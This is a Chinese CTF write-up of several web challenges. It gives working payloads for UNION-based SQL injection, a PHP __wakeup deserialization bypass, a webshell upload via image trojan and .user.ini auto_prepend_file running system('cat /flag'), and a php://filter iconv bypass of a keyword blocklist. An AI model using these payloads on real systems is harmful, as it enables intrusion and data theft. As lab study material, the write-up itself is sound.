开始先判断sql注入存在

输入**1’**,报错返回空白页面

然后判断字段数

当输入语句为

1
1' order by 4#

返回空白页面,于是判断字段数为3

然后联合注入

先判断数据爆出口

1
-1'  union select 1,2,3#

image-20220703204402467

得出数据在2,3位置处输出

然后按照标准sql注入流程即可

先看数据库和版本号

1
-1'  union select 1,database(),version()#

image-20220703204520282

得到数据库名为news,MySQL版本为5.5.61

然后查看news库的表名

1
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="news"),3#

image-20220703205326915

得到两个表名newssecret_table

flag肯定在secret_table

查看secret_table

1
-1'  union select 1,(select group_concat(column_name) from information_schema.columns where table_name="secret_table"),3#

image-20220703205526044

看到fl4g,尝试查看其数据

1
-1'  union select 1,(select fl4g  from secret_table),3#

image-20220703205758800

得到flag

这里用sqlmap也可以,但还是试试手工注入更好

12.NaNaNaNNaN-Batman

1)题目描述

2)wp

这个开始有点懵,借鉴了大佬的wp,才理解了一些,需要wp可以认真看看这篇文章,以下只加上个人理解和个人认为文章重点

原文链接

js源代码分析:

_等于一个$函数内容

1
_='function $()

一个输入框

1
<input id="c">< onclick=$()>Ok</>\');
***核心代码:***
eval函数,这是执行函数;这里执行了_变量中的内容也就是''中的内容,但是,要注意的是,它并没有执行$()函数,仅仅执行了字符串而已(从而导致乱码),因而页面html页面没有任何显示,只显示了input标签的内容,但是我们想让源代码正常显示出来,不进行执行,那么,我们就用到了alert弹窗(将eval函数改为alert),将乱码的$()函数源码完整显示出来
这里可以使用浏览器打开,也可以将修改后的源代码放入控制台执行(放入控制台需要注意删除script前后标签)

浏览器打开: 在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

我们的终极目标是打印出

document.write(s[o%4][0]);s[o%4].splice(0,1)}

因此我们要满足关键变量e的条件

1
2
3
4
5
e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null

这里又用到了正则表达式
^表示开头一定要匹配到be0f23,$表示结尾一定要匹配到e98aa,其它的只要匹配到就好,没有位置要求
于是我们构造e的值

1
e=be0f233ac7be98aa

将上面的核心代码后缀改为html格式,打开如下图所示
在这里插入图片描述
框中输入e的值be0f233ac7be98aa,点击Ok(当然你也可以在原来获得的web100文件浏览器执行的输入框中输入be0f233ac7be98aa)

在这里插入图片描述

注1:当然,如果大家觉得构造麻烦,可以直接执行获取flag的核心代码,代码如下

1
2
3
4
5
6
7
8
9
<script>
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)}
</script>
1
2
3
4
5
6
7
8
document.write(s[o%4][0]);s[o%4].splice(0,1);
//输出fl;随后删除fl
/*
代码运行详解:
第一步:document.write(s[0][0]);s[0].splice(0,1);
第二步:document.write(t[0]);t.splice(0,1);
第三步:document.write("fl");删除t["fl","s_a","i","e}"]中第一个位置,一个项目,即删除fl
*/
1
document.write的功能可以看一下这篇文章https://blog.csdn.net/qq_34986769/article/details/52160532
1
2
3
4
5
6
7
8
splice() 方法向/从数组中添加/删除项目,然后返回被删除的项目。
注释:该方法会改变原始数组。
语法
arrayObject.splice(index,howmany,item1,.....,itemX)
参数 描述
index 必需。整数,规定添加/删除项目的位置,使用负数可从数组结尾处规定位置。
howmany 必需。要删除的项目数量。如果设置为 0,则不会删除项目。
item1, ..., itemX 可选。向数组添加的新项目。

13.unserialize3

1)题目描述

2)wp

这道题需要了解php反序列化中__wakeup漏洞的利用,还有php魔术方法

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

开始的代码不完整,是一段残缺的PHP代码,根据题目名字知道这是给反序列化的题目,?code=可能是提醒需要在url利用以GET方式提交code值

在这里插入图片描述

下方是把代码补充完善后,并并调用序列化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){
exit('bad requests');
//定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
}
}
$a=new xctf();
//使用new运算符来实例化该类(xctf)的对象为
//这里也就是定义了了一个新的类用来反序列化

echo(serialize($a));
//serialize()序列化函数
//输出被序列化的对象
?>

运行该php代码,得到序列化后的字符串

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

image-20220627215806623

如果看不懂,可以看看方便下图理解

这里如果直接访问,会失败

http://111.200.241.244:54024/?code=O:4:%22xctf%22:1:{s:4:%22flag%22;s:3:%22111%22;}

image-20220627220136916

因为我们忽略了__wakeup(),这里就需要了解php的魔术方法当中的绕过__wakeup()

如何绕过__wakeup():当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。从而绕过了__wakeup()函数

在这串序列化的代码中,对象属性数为1,把下列的1改为2(>1),即可

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

–>

O:4:"xctf":2:{s:4:"flag";s:3:"111";}


这里我插入一个新学到的payload

C:4:"xctf":0:{s:4:"flag";s:3:"111";}

发现也是可以的,也是可以绕过__wakeup()函数

C代表这个类实现了serializeable接口,serializeable不支持wakeup,就绕过去了


然后payload:

http://111.200.241.244:54024/?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;}

得到flag

补充:

1
2
3
4
5
6
php实例化:是指在面向对象的编程中,把用类创建对象的过程称为实例化,是将一个抽象的概念类,具体到该类实物的过程,实例化过程中一般由【类名 对象名 = new 类名(参数1,参数2...参数n)】构成。

php类对象是什么意思?
类 − 定义了一件事物的抽象特点。类的定义包含了数据的形式以及对数据的操作。
对象 − 是类的实例。
在面向对象的程序设计(英语:Object-oriented programming,缩写:OOP)中,对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。在现实世界里我们所面对的事情都是对象,如计算机、电视机、自行车等。

14.upload1

1)题目描述

2)wp

典型的文件上传漏洞,可以先把upload-labs线下靶场学习一下

先直接上传php文件,发现被拦截

image-20220704104557362

于是构造一个图片木马上传,然后burp修改后缀,看看是不是前端验证

image-20220704104752019

image-20220704104814064

发现上传成功

image-20220704104830480

用蚁剑试着连一下

image-20220704105115729

发现连接成功,打开看看,在html下发现flag.php

image-20220704105139801

打开文件

得到flag


后面的题难度飞升,水平有限,后面的题仅写一些个人笔记,建议认真阅读其他大佬的wp,遇到难点,建议先巩固概念基础

15.easytornado

一道tornado框架题,属于ssti注入,建议先看一些文章

了解了再尝试完成

Others

1.easyupload

1)题目描述

一名合格的黑客眼中,所有的上传点都是开发者留下的后门

2)wp

这道题写的1星,但是过滤又多,还涉及了上传.user.ini文件,学到了,下面是大佬的wp

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

  • 检查文件内容是否有php字符串
  • 检查后缀中是否有htaccess或ph
  • 检查文件头部信息
  • 文件MIME类型

对于第一点可以利用短标签绕过,例如

1
2
3
4
5
6
7
8
9
10
11
12

把short_open_tag 字段改为On,就可以实现短标签功能

短标签:
1.能正常解析类似于这样形式的php文件: phpinfo() ?>

2.使用<?=$a?>的形式输出,在短标签看来,<?=$a?>

3.<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
正确:
<?
$a = 123;
eval(' phpinfo();?><? echo $a ?>')
?>

报错:
<?
$a = 123;
eval('<? phpinfo();?><?=$a ?>')
?>

从这个对比试验我们可以看出:
在短标签模式下,
我们执行php语句php函数,都用类似于这样形式的php文件:
phpinfo();?>
但是我们要输出一个flag,或者变量时,使用<?=$a?>的形式输出

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

文章

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。

其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

第四点绕过方法即修改上传时的Content-Type

因此最终的payload为:
上传.user.ini,内容为

1
2
GIF89a                  
auto_prepend_file=a.jpg
1
2
3
auto_append_file、auto_prepend_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 

使用方法很简单,直接写在.user.ini中:

上传a.jpg,内容为

1
2
GIF89a
<?=system('cat /flag');?>

2.file_include【江苏工匠杯】

1)题目描述

怎么读取文件呢?

2)wp

这是一道文件包含的题目

但是开始一直用伪协议读取都失败

1
http://61.147.171.105:61462/?filename=php://filter/read=convert.base64/resource=flag.php

image-20230104221540491

根据源码猜测,是在check.php中设置了过滤,但是直接访问是无法得到文件内容的

这里涉及到一个知识点

Conversion Filters(转换过滤器)

Conversion Filters(转换过滤器)如同 string. 过滤器,convert. 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。

常用的convert.base64就是其应用

但是我们这里测试可以知道

image-20230104222154684

这里将base64过滤了,也就是不能进行base64转化,read也不能用

于是这里就提及了

convert.iconv.*

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

使用方法

1
2
3
convert.iconv.<input-encoding>.<output-encoding> 
or
convert.iconv.<input-encoding>/<output-encoding>

相比单纯的convert.加上.iconv后,可以将数据进行转化后,再进行转化输出

而其能进行加码的方式有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

但是这些加码方式也有些被过滤

进行爆破得到UTF-7,UCS-4*可以

直接构造

1
http://61.147.171.105:61462/?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

得到flag

image-20230104223717245


查看一下check.php内容

image-20230104223436793

发现过滤了

1
2
3
base|be|encode|print|zlib|quoted|write|rot13|read|string

看到这里过滤了quoted,string,所以这里的转化过滤器函数用的iconv()